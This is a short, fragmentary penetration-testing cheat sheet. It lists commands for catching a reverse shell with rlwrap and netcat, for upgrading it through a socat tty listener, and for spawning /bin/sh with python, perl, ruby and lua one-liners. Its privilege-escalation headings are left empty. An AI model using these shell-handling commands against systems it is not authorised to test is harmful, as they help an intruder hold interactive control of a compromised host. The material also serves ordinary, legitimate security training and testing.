General Information

Spawn a tty:

# first
rlwrap nc localhost 80
# then
rlwrap -r -f . nc <IP ADDRESS> <PORT>

Linux upgrade shell

socat file:`tty`,raw,echo=0 tcp-listen:12345
python -c 'import pty; pty.spawn("/bin/sh")'
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')

Privilege Escalation Scripts:

Windows:

Linux:

Other Resources:

PowerSharpPack: